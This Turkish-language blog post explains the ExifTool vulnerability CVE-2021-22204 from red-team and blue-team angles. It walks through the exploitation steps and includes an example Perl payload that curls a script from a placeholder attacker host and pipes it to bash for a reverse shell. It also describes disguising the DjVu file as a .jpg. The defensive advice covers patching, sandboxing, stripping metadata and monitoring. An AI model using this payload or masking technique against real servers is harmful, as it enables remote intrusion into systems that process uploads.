Siber güvenlikteki bazı zafiyetler, sistemin kapısını doğrudan kırarak içeri girmez; aksine, kimsenin şüphelenmediği noktalardan sızarlar. Bu noktalar genellikle log dosyaları, parser (ayrıştırıcı) kütüphaneleri veya görsel dosyaların metadata bilgileri gibi "zararsız" görünen bileşenlerdir.

2021 yılında ortaya çıkan CVE-2021–22204, tam olarak bu tür zafiyetlerin en çarpıcı örneklerinden biridir. Basit bir görsel dosyasının arkasına gizlenmiş metadata verisi sayesinde, saldırganların sunucu üzerinde Uzaktan Kod Çalıştırmasına (Remote Code Execution — RCE) imkan tanıyordu.

Bu yazıda, söz konusu zafiyeti hem Red Team (saldırı) hem de Blue Team (savunma) perspektifinden inceleyeceğiz.

ExifTool: Görünmez Ama Kritik Bir Araç

Birçok sistem, arka planda dosyaların metadata (üstveri) bilgilerini okumak için ExifTool kütüphanesini kullanır. ExifTool; görüntü dosyaları, videolar, PDF'ler ve diğer dokümanların metadata bilgilerini okumak ve düzenlemek için kullanılan, dünya çapında yaygın bir araçtır.

GitLab, CMS sistemleri, medya yönetim araçları ve çeşitli web uygulamaları bu kütüphaneyi temel alır. Bu nedenle ExifTool'daki bir zafiyet, yalnızca tek bir uygulamayı değil, onu kullanan binlerce sistemi doğrudan etkileme potansiyeline sahiptir.

Zafiyetin Teknik Arka Planı

CVE-2021–22204 zafiyeti, ExifTool'un DjVu formatındaki dosyaları işlerken yaptığı hatalı girdi kontrolünden kaynaklanmaktadır. DjVu, özellikle doküman arşivleme için kullanılan eski bir görüntü formatıdır.

Sorunun temelinde şu yatıyordu: ExifTool, DjVu dosyalarındaki metadata verisini ayrıştırırken içeriği yeterince filtrelemeden yorumluyordu. Bu süreçte, Perl yorumlayıcısının eval benzeri bir fonksiyonu tetiklenerek saldırganın metadata içine yerleştirdiği zararlı kodun doğrudan sistemde çalışmasına yol açıyordu.

Kritik Detay: Dosyanın uzantısının .djvu olması şart değildir. Birçok uygulama dosya tipini kontrol ederken sadece uzantıya baksa da, ExifTool dosyanın imzasını (magic bytes) analiz eder. Bu nedenle, .jpg gibi görünen bir dosya aslında DjVu payload'u barındırıyor olabilir.

Red Team Perspektifi: Zafiyet Nasıl Sömürülür?

Bir Red Team senaryosunda saldırgan genellikle şu adımları izler:

  1. Dosya Yükleme Noktasının Tespiti: Profil fotoğrafı, doküman yükleme veya destek bileti (ticket) sistemleri gibi dosya kabul eden bir alan bulunur.
  2. Zararlı DjVu Dosyasının Hazırlanması: DjVu metadata içerisine Perl tabanlı bir komut yerleştirilir. Örneğin: system("curl attacker-server/payload.sh | bash"); Bu payload, sunucu tarafında tetiklendiğinde saldırgana bir Reverse Shell bağlantısı sağlayabilir.
  3. Dosyanın Maskelenmesi: Payload içeren dosya, sistemin kabul edeceği şekilde (örneğin image.jpg) isimlendirilir. Uygulama dosyayı kabul ettiğinde, arka planda metadata okuma işlemi başlar ve ExifTool tetiklenir.
  4. Kod Çalıştırma ve Sızma: Kod başarıyla çalıştıktan sonra saldırgan yetki yükseltme (privilege escalation), yanal hareket (lateral movement) ve veri sızdırma aşamalarına geçer.

Blue Team Perspektifi: Bu Tür Saldırılar Nasıl Önlenir?

Bu zafiyet, güvenli yazılım geliştirme (SDLC) açısından kritik dersler içermektedir:

  • Kütüphane Güncellemeleri: En temel önlem, ExifTool sürümünün güncel tutulmasıdır. Zafiyet 12.24 sürümü ile giderilmiştir. exiftool -ver komutu ile sürüm kontrolü mutlaka yapılmalıdır.
  • İzolasyon (Sandboxing): Dosya işleme süreçleri ana uygulamadan izole edilmelidir. Docker container'lar veya kısıtlı yetkiye sahip sandbox ortamları kullanılarak olası bir RCE durumunda saldırganın ana sisteme erişimi engellenmelidir.
  • İçerik Temizleme (Sanitization): Dosya yükleme mekanizmaları sadece uzantıya güvenmemelidir. Yüklenen görsellerin metadata verileri (EXIF) sistem tarafından temizlenmeli veya görsel yeniden encode edilmelidir.
  • Anomali Tespiti ve İzleme: SIEM sistemleri üzerinden ExifTool süreçlerinin başlattığı şüpheli alt süreçler veya beklenmedik dış bağlantılar (outbound connections) takip edilmelidir.

GitLab Örneği: Risk Neden Bu Kadar Büyüktü?

Bu zafiyet özellikle GitLab üzerinde büyük yankı uyandırdı. GitLab, kullanıcı avatarlarını ve yüklenen dosyaları işlerken ExifTool kullanıyordu. Bu durum, bir saldırganın sadece bir görsel yükleyerek GitLab sunucusunda tam yetki elde edebilmesine neden oldu. Üstelik bazı yapılandırmalarda bu saldırı, hiçbir kimlik doğrulama gerektirmeden (unauthenticated) yapılabiliyordu.

Sonuç

CVE-2021–22204, siber güvenlikte riskin yalnızca ana uygulama kodunda değil, kullanılan tüm bağımlılıklarda (dependencies) saklı olduğunu bir kez daha hatırlattı. Bir görsel işleme modülü veya basit bir parser, uygun şekilde izole edilmezse kale kapısını içeriden açan bir ajana dönüşebilir.

Çünkü bazen saldırganlar kapıyı kırmaz; sadece kapının önündeki paspası kaldırırlar. Eğer anahtar oradaysa, içeriye bir ev sahibi konforuyla girerler.

Not: Bu zafiyetin sömürü aşamalarını ve uygulamalı çözümünü merak ediyorsanız, GitHub hesabımdaki Write-Up dokümanını inceleyebilirsiniz: GitHub — Erdemcey CTF Raporu